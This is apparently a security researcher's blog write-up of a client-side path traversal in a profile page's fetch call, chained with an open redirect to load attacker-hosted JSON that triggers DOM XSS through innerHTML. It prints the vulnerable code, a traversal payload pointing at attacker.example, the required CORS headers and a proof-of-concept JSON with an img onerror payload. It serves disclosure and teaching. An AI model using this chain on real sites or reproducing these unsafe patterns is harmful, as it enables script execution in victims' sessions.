October 9, 2026
From CSPT to DOM XSS: Chaining an Open Redirect with Malicious JSON
Bonus: A webhook.site alternative for security testing

By AstroKrypTech
3 min read
A client-side path traversal vulnerability in the application's profile-page loader allows an attacker to influence the URL used for a JSON API request. By supplying traversal sequences in a query parameter, the request can be redirected from the expected API endpoint to an open redirect. The redirect then points to an attacker-controlled JSON response.
The application accepts that response as valid object data and inserts one array field into the DOM using innerHTML. This creates a DOM-based XSS condition.
Affected Functionality
The affected workflow is a public profile page that loads an object using an identifier from the URL:
const id = new URLSearchParams(location.search).get("id");
fetch(`/api/user/${id}`)
.then(response => {
if (!response.ok) throw new Error('User not found');
return response.json();
})
.then(user => {
displayUser(user);
loading.classList.add('hidden');
details.classList.remove('hidden');
})
.catch(err => {
console.error('Error loading user:', err);
showError();
});const id = new URLSearchParams(location.search).get("id");
fetch(`/api/user/${id}`)
.then(response => {
if (!response.ok) throw new Error('User not found');
return response.json();
})
.then(user => {
displayUser(user);
loading.classList.add('hidden');
details.classList.remove('hidden');
})
.catch(err => {
console.error('Error loading user:', err);
showError();
});How the client-side path traversal works
The application reads id from the page URL and places it directly into the fetch path:
fetch(`/api/user/${id}`)fetch(`/api/user/${id}`)The code assumes that id is a simple identifier such as 4. However, an attacker can supply a decoded value such as:
../../redirect?url=https://attacker.example/profile.json../../redirect?url=https://attacker.example/profile.jsonThis produces the following fetch URL:
/api/user/../../redirect?url=https://attacker.example/profile.json/api/user/../../redirect?url=https://attacker.example/profile.jsonBefore sending the request, the browser normalizes the URL's dot segments. Each ../ removes one preceding path segment: the first removes user, and the second removes api. The resulting request is:
/redirect?url=https://attacker.example/profile.json/redirect?url=https://attacker.example/profile.jsonThis is client-side path traversal because attacker-controlled input changes the path of a request constructed by client-side JavaScript. The traversal happens during URL resolution; it does not involve reading files from the server's filesystem.
How the open redirect extends the attack
The /redirect endpoint accepts the supplied destination without restricting its origin and returns:
HTTP/1.1 302 Found
Location: https://attacker.example/profile.jsonHTTP/1.1 302 Found
Location: https://attacker.example/profile.jsonfetch() follows redirects by default. Consequently, the response passed to response.json() comes from the attacker's server.
The browser remains on the original profile page: the redirect affects the background fetch request. For this cross-origin response to be readable, the attacker's server must provide an appropriate CORS header, for example:
Content-Type: application/json
Access-Control-Allow-Origin: *Content-Type: application/json
Access-Control-Allow-Origin: *The attacker returns an object matching the expected profile schema, with an HTML payload inside hobbies.
The application then parses the returned JSON and passes it to the same profile renderer used for legitimate API responses. That renderer inserts each hobbies entry using innerHTML, causing the injected <img> event handler to execute in the vulnerable application's origin.
The chain therefore crosses two boundaries: CSPT lets the attacker choose an unintended application endpoint, and the open redirect lets that endpoint send the API request to an external JSON source. The unsafe HTML rendering turns that substituted data into JavaScript execution.
Attack Chain
The vulnerability consists of four linked issues:
- The
idparameter is concatenated directly into an API path. - Dot-segment traversal escapes the intended API route.
- The escaped path reaches a redirect endpoint.
- The redirect points to attacker-controlled JSON containing HTML in the field later assigned to
innerHTML.
Conceptually, the request flow is:
profile?id=<traversal>
โ
/api/user/<traversal>
โ
/redirect?url=<attacker-controlled JSON endpoint>
โ
attacker-controlled JSON
โ
array field inserted with innerHTML
โ
JavaScript executionprofile?id=<traversal>
โ
/api/user/<traversal>
โ
/redirect?url=<attacker-controlled JSON endpoint>
โ
attacker-controlled JSON
โ
array field inserted with innerHTML
โ
JavaScript executionProof of Concept
The attacker hosts a JSON response matching the object schema expected by the client:
{
"id": "4",
"name": "",
"email": "",
"address": "Example",
"profile picture": "https://example.com/image.jpg",
"hobbies": [
"<img src=x onerror=alert(73142)>"
]
}{
"id": "4",
"name": "",
"email": "",
"address": "Example",
"profile picture": "https://example.com/image.jpg",
"hobbies": [
"<img src=x onerror=alert(73142)>"
]
}The response must be served with:
Content-Type: application/jsonContent-Type: application/jsonThe vulnerable field is the array entry in hobbies.
A successful proof shows the unique canary executing when the crafted profile-page URL is opened in a browser.
To host the vulnerable JSON, we can use a webhook.site equivalent.